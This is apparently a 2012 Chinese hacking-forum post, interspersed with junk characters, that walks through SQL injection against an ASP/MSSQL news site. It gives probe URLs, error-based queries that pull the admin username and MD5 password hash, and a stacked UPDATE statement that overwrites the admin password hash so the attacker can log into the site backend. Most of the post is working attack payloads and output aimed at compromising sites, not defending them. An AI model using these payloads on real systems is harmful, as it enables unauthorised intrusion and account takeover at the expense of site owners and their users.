经常拿站的黑阔们一定经常碰到，某个网站有注入，管理员帐号和密码多暴出来了。$ q) V+ n$ u6 r: T8 }
可是密码是MD5加密的。而且在线的MD5解密不了。你说咋办？直接修改管理员密码的MD5值。然后进后台！(当然是有条件的。MSSQL)
( Y5 I2 g+ A5 \3 }, {测试如下：
1 k/ I+ n) B$ \% p9 whttp://www.tmdsb.com/news.asp?id=1212 C' o/ k' p/ i4 P) w
在地址后输入单引号，显示
# O3 w- `- D8 S+ LMicrosoft OLE DB Provider for SQL Server 错误 ’80040e14’
+ t' a% a7 f. `# T. i3 Z字符串 ’’’ 之前有未闭合的引号7 O/ {* i5 }5 ]. l
/news/tmdws.asp，行63
6 O0 M; u9 N& o4 @) _( n说明没有过滤单引号且数据库是MSSQL.
- _: Y6 l' u; Q kand 1=1正常。and 1=2出错。肯定存在注入# T4 I7 {3 z M
接着输入5 q3 P/ j+ u i/ [( |( {8 j
http://www.tmdsb.com/news.asp?id=1 or admin_user in (select id from admin)
4 y+ G) P7 |# l& T' c4 a9 K( ]% O得到帐号为:admin. v: g* D$ H6 X) [! {$ ]% C/ |
http://www.tmdsb.com/news.asp?id=121 or admin_password in (select id from admin)
! l# N* e" I) _+ Y得到密码为:a4716077c2ba075c
% M7 \# ? V+ l3 P; a接下来我们就可以改密码了。但我们先前要知道我们加密的字符：e8dc763194f29433
7 N% ]- Y# A& y& f* W8 o命令如下 :! S5 z, \; A3 N" c
;update shop_admin set password=’e8dc763194f29433’ where password=’a4716077c2ba075c’–
) {% ~' o( e- o这句的意思就是用e8dc763194f29433替换a4716077c2ba075c，以达到修改密码的目的 |
发表于 2012-9-13 17:55:24
收藏
支持
反对
发表于 2012-9-14 16:22:41